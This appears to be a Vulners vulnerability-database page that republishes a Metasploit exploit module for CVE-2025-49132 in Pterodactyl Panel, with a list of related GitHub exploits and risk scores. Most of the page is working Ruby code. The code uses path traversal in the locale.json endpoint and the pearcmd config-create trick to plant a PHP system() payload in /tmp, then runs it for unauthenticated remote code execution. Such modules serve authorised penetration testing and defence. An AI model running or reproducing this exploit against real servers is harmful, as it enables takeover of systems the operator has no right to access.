Lucene search
+L

Pterodactyl Panel CVE-2025-49132 Remote Code Execution

🗓️ 19 Jun 2025 00:00:00Reported by 0xtensho, jheysel-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 5 Views

Pterodactyl Panel before 1.11.11 allows unauthenticated RCE via locale.json path traversal.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2025-49132
12 Feb 202616:19
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
16 Feb 202612:58
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
11 Feb 202612:18
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
7 Feb 202621:36
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
25 Jun 202518:05
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
8 Feb 202612:28
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
10 Feb 202614:21
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
23 Jun 202520:51
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
11 Feb 202608:19
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
18 Aug 202512:10
githubexploit
Rows per page
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pterodactyl Panel CVE-2025-49132 Remote Code Execution',
        'Description' => %q{
          This module exploits a vulnerability in Pterodactyl Panel before version 1.11.11 that allows unauthenticated
          remote code execution through improper handling of locale file operations. The vulnerability
          exists in the locale.json endpoint which allows path traversal and arbitrary file creation. Code execution
          is in the context of the user running the webserver.

          The exploit leverages PEAR (PHP Extension and Application Repository) for command injection by creating a
          malicious payload file in the /tmp through path traversal, then executing it via PHP execution with pearcmd.
        },
        'Author' => [
          '0xtensho', # Original PoC
          'jheysel-r7', # MSF Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-49132'],
          ['URL', 'https://github.com/0xtensho/CVE-2025-49132-poc']
        ],
        'Platform' => %w[unix linux],
        'Targets' => [
          [
            'Command Payload',
            {
              'Arch' => ARCH_CMD,
              'Type' => :cmd
            }
          ]
        ],
        'Payload' => {
          'BadChars' => "\x20\x27",
          'EncoderType' => Msf::Encoder::Type::CmdPosixBase64
        },
        'DisclosureDate' => '2025-06-19',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the Pterodactyl instance', '/']),
        OptString.new('UPLOAD_DIR', [false, 'Upload directory (defaults to the default webroot in the docker instance)', '/tmp']),
        OptString.new('TRAVERSAL_PATH', [false, 'Traversal path (defaults to the default install location of php in the )', '/usr/local/lib/php']),
        OptInt.new('TRAVERSAL_DEPTH', [false, 'Number of ../ segments to use during path traversal (default: 5)', 5]),
      ]
    )
  end

  def check
    # Try to detect the vulnerability by attempting a benign path traversal - this will not be accessible from a patched version
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'locales', 'locale.json?locale=../../&namespace=config/app')
    )

    if res&.code == 200
      json = res&.get_json_document

      if json.nil? || json.empty?
        return CheckCode::Unknown('Response did not contain a valid JSON document')
      end

      version = json.dig('../../', 'config/app', 'version')
      return CheckCode::Unknown('Response did not contain a valid version number') unless version

      rex_version = Rex::Version.new(version)

      if rex_version < Rex::Version.new('1.11.11')
        # Usually we return Appears for a version check but this version is only obtainable through exploiting
        # the vulnerability itself, so we can be confident that if we see this version, it's vulnerable
        return CheckCode::Vulnerable("Version found: #{version}")
      else
        # This code path should not be reachable in a patched version, but it's here just in case
        return CheckCode::Safe("Version found: #{version}")
      end

    elsif res&.code == 403 || res&.code == 404
      # Path traversal is being blocked
      return CheckCode::Safe('Path traversal is being blocked')
    end

    CheckCode::Unknown('Non-200 response received, unable to determine vulnerability status')
  end

  def exploit
    payload_code = generate_encoded_payload
    filename = "#{Rex::Text.rand_text_alpha(10).downcase}.php"
    traversal_depth = '../' * datastore['TRAVERSAL_DEPTH']
    upload_payload(payload_code, filename, traversal_depth)
    execute_payload(filename, traversal_depth)
  end

  def upload_payload(payload_code, filename, traversal_depth)
    upload_dir = datastore['UPLOAD_DIR']
    payload_file = File.join(upload_dir, filename)

    print_status("Uploading payload file to #{payload_file}")
    traverse_path = "#{traversal_depth}#{datastore['TRAVERSAL_PATH'].sub(%r{^/}, '')}"
    first_url = build_exploit_url(traverse_path, filename, payload_code, upload_dir)

    print_status('Sending initial payload creation request...')
    res1 = send_request_cgi(
      'method' => 'GET',
      'uri' => first_url
    )

    unless res1&.code == 200
      fail_with(Failure::UnexpectedReply, "Failed to upload payload file, server responded with code: #{res1&.code || 'no response'}")
    end

    register_file_for_cleanup(payload_file)
    print_status("Initial request response code: #{res1.code}")
  end

  def execute_payload(filename, traversal_depth)
    print_status('Triggering payload execution...')
    url2 = build_execution_url(filename.sub(/\.php$/, ''), traversal_depth)

    res2 = send_request_cgi(
      'method' => 'GET',
      'uri' => url2
    )

    if res2
      print_warning('The module received a response from the server, which may indicate the payload did not execute as expected')
    end
  end

  def generate_encoded_payload
    "<?=system('#{payload.encoded}')?>"
  end

  def build_exploit_url(traverse_path, filename, payload, upload_dir)
    base_path = normalize_uri(target_uri.path, 'locales', 'locale.json')
    url = "#{base_path}?+config-create+/&locale=#{traverse_path}&namespace=pearcmd&/#{payload}+/#{upload_dir}/#{filename}"
    vprint_status("Exploit URL: #{url}")
    url
  end

  def build_execution_url(filename_base, traversal_depth)
    base_path = normalize_uri(target_uri.path, 'locales', 'locale.json')
    url = "#{base_path}?locale=#{traversal_depth}#{datastore['UPLOAD_DIR']}&namespace=#{filename_base}"
    vprint_status("Execution URL: #{url}")
    url
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Jun 2025 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.110
EPSS0.53389
SSVC
5